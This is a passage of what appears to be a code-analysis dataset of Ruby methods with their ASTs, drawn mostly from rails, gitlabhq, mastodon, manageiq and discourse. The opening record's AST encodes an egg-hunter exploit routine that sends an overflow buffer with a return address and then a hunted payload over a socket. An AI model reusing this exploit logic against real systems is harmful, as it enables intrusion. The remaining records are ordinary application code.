end","complexity_score":34.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hunter\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending hunted payload...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eggstart\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"egg\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"eggend\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"5436bd88-7ca8-4e2b-ad47-759f0d12b2c6"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/base.rb","start_line":942,"raw_source":"def apply_defaults(headers)\n default_values = self.class.default.except(*headers.keys).transform_values do |value|\n compute_default(value)\n end\n\n headers_with_defaults = headers.reverse_merge(default_values)\n headers_with_defaults[:subject] ||= default_i18n_subject\n headers_with_defaults\n end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_defaults\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_values\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"default\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"keys\"]}]}]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"compute_default\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"headers_with_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"reverse_merge\",{\"type\":\"lvar\",\"children\":[\"default_values\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers_with_defaults\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"send\",\"children\":[null,\"default_i18n_subject\"]}]},{\"type\":\"lvar\",\"children\":[\"headers_with_defaults\"]}]}]}","id":"270fbca8-662e-4c8d-b700-1808ab30e12a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/network/graph.rb","start_line":277,"raw_source":"def take_left_leaves(raw_commit)\n commit = @map[raw_commit.id]\n leaves = []\n leaves.push(commit) if commit.space == 0\n\n loop do\n return leaves if commit.parents(@map).count == 0\n\n commit = commit.parents(@map).first\n\n return leaves unless commit.space == 0\n\n leaves.push(commit)\n end\n end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"take_left_leaves\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw_commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_commit\"]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"leaves\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"space\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaves\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"parents\",{\"type\":\"ivar\",\"children\":[\"@map\"]}]},\"count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaves\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"parents\",{\"type\":\"ivar\",\"children\":[\"@map\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"space\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaves\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaves\"]},\"push\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]}]}]}]}]}","id":"8b2e3b27-8248-4576-9cc5-86fe34d9b849"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/hidable_variable.rb","start_line":21,"raw_source":"def validate_masked_and_hidden_on_update\n return if !masked_changed? && !hidden_changed?\n return if hidden == false && !hidden_changed?\n\n if hidden_changed?\n errors.add(:base, 'Only new variables can be set as masked and hidden.')\n else\n errors.add(:base, 'The visibility setting cannot be changed for masked and hidden variables.')\n end\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_masked_and_hidden_on_update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"masked_changed?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_changed?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_changed?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hidden_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"Only new variables can be set as masked and hidden.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"The visibility setting cannot be changed for masked and hidden variables.\"]}]}]}]}]}","id":"5576f97c-06ce-4ca6-bc44-8bc717622dc6"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":154,"raw_source":"def blocked_by_not_following_policy?\n @policy.drop_not_following? && not_following?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blocked_by_not_following_policy?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"drop_not_following?\"]},{\"type\":\"send\",\"children\":[null,\"not_following?\"]}]}]}","id":"5b6b26b4-38aa-4c31-8b95-adcdb94ca060"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerbase.rb","start_line":48,"raw_source":"def read_csv_files\n puts \"\", \"reading CSV files...\"\n\n category_position = 0\n csv_parse(\"categories\") do |row|\n @db.insert_category(id: row[:id], name: row[:name], position: category_position += 1)\n end\n\n csv_parse(\"users\") do |row|\n @db.insert_user(\n id: row[:id],\n email: row[:email],\n username: row[:username],\n bio: row[:description],\n avatar_path: row[:profile_image],\n created_at: parse_date(row[:createtime]),\n active: true,\n )\n end\n\n last_topic_id = nil\n csv_parse(\"questions-answers-comments\") do |row|\n next if row[:published] == \"No\"\n user_id = @db.get_user_id(row[:username])\n created_at = parse_datetime(row[:createtime])\n\n begin\n if row[:type] == \"Question\"\n attachments =\n parse_filenames(row[:attachments], QUESTION_ATTACHMENT_DIRECTORY) +\n parse_filenames(row[:images], QUESTION_IMAGE_DIRECTORY)\n\n @db.insert_topic(\n id: row[:id],\n title: row[:title],\n raw: row[:text],\n category_id: row[:categorylist],\n user_id: user_id,\n created_at: created_at,\n attachments: attachments,\n )\n last_topic_id = row[:id]\n else\n attachments =\n parse_filenames(row[:attachments], ANSWER_ATTACHMENT_DIRECTORY) +\n parse_filenames(row[:images], ANSWER_IMAGE_DIRECTORY)\n\n @db.insert_post(\n id: row[:id],\n raw: row[:text],\n topic_id: last_topic_id,\n user_id: user_id,\n created_at: created_at,\n attachments: attachments,\n )\n end\n rescue StandardError\n p row\n raise\n end\n end\n end","complexity_score":81.98,"ast_json":"{\"type\":\"def\",\"children\":[\"read_csv_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"reading CSV files...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category_position\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"insert_category\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_position\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"insert_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bio\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile_image\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"parse_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"createtime\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_topic_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"questions-answers-comments\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"published\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"No\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"get_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[null,\"parse_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"createtime\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Question\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_filenames\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachments\"]}]},{\"type\":\"const\",\"children\":[null,\"QUESTION_ATTACHMENT_DIRECTORY\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"parse_filenames\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"images\"]}]},{\"type\":\"const\",\"children\":[null,\"QUESTION_IMAGE_DIRECTORY\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"insert_topic\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"categorylist\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachments\"]},{\"type\":\"lvar\",\"children\":[\"attachments\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attachments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_filenames\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attachments\"]}]},{\"type\":\"const\",\"children\":[null,\"ANSWER_ATTACHMENT_DIRECTORY\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"parse_filenames\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"images\"]}]},{\"type\":\"const\",\"children\":[null,\"ANSWER_IMAGE_DIRECTORY\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"insert_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"last_topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attachments\"]},{\"type\":\"lvar\",\"children\":[\"attachments\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"p\",{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}]}]}]}","id":"f8339ae7-91a8-4333-88d3-93d3da6f96f2"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/rollup.rb","start_line":332,"raw_source":"def self.rollup_assoc(c, result, value)\n return if value.nil?\n\n ASSOC_KEYS.each do |assoc|\n next if value[assoc].nil?\n\n result[c] ||= {}\n result[c][assoc] ||= {}\n\n [:on, :off].each do |mode|\n next if value[assoc][mode].nil?\n\n result[c][assoc][mode] ||= []\n result[c][assoc][mode].concat(value[assoc][mode]).uniq!\n end\n end\n end","complexity_score":33.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rollup_assoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASSOC_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assoc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"off\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"assoc\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]},\"uniq!\"]}]}]}]}]}]}]}","id":"aa3ad828-6c31-416d-9c3d-489a98bcb17e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/cells/application-settings-analysis.rb","start_line":448,"raw_source":"def documentation_api_settings\n @documentation_api_settings ||= begin\n settings_md = File.read(DOC_API_SETTINGS_FILE_PATH)\n match = settings_md.match(DOC_API_SETTINGS_TABLE_REGEX)\n doc_rows = match[:rows].lines(chomp: true).map(&:strip).filter_map do |line|\n line.delete_prefix(\"| \") if line.start_with?('| `')\n end.sort\n\n doc_rows.map do |line|\n attr, api_type, required, description = line.split('|').map(&:strip)\n attr.delete!('`')\n\n ApplicationSettingApiDoc.new(attr: attr, api_type: api_type, required: required, description: description)\n end\n end\n end","complexity_score":36.9,"ast_json":"{\"type\":\"def\",\"children\":[\"documentation_api_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@documentation_api_settings\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"settings_md\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"const\",\"children\":[null,\"DOC_API_SETTINGS_FILE_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings_md\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"DOC_API_SETTINGS_TABLE_REGEX\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc_rows\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rows\"]}]},\"lines\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"| `\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"| \"]}]},null]}]},\"sort\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc_rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attr\"]},{\"type\":\"lvasgn\",\"children\":[\"api_type\"]},{\"type\":\"lvasgn\",\"children\":[\"required\"]},{\"type\":\"lvasgn\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"split\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr\"]},\"delete!\",{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationSettingApiDoc\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr\"]},{\"type\":\"lvar\",\"children\":[\"attr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_type\"]},{\"type\":\"lvar\",\"children\":[\"api_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"lvar\",\"children\":[\"required\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}]}]}]}]}]}","id":"1c2fa56d-5f11-4607-b56e-dda55a9f453f"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-topic-voting/db/migrate/20241203125415_rename_reassign_sequences.rb","start_line":4,"raw_source":"def up\n reassign_sequence(\"discourse_voting_topic_vote_count_id_seq\", \"topic_voting_topic_vote_count\")\n reassign_sequence(\"discourse_voting_votes_id_seq\", \"topic_voting_votes\")\n reassign_sequence(\"discourse_voting_category_settings_id_seq\", \"topic_voting_category_settings\")\n 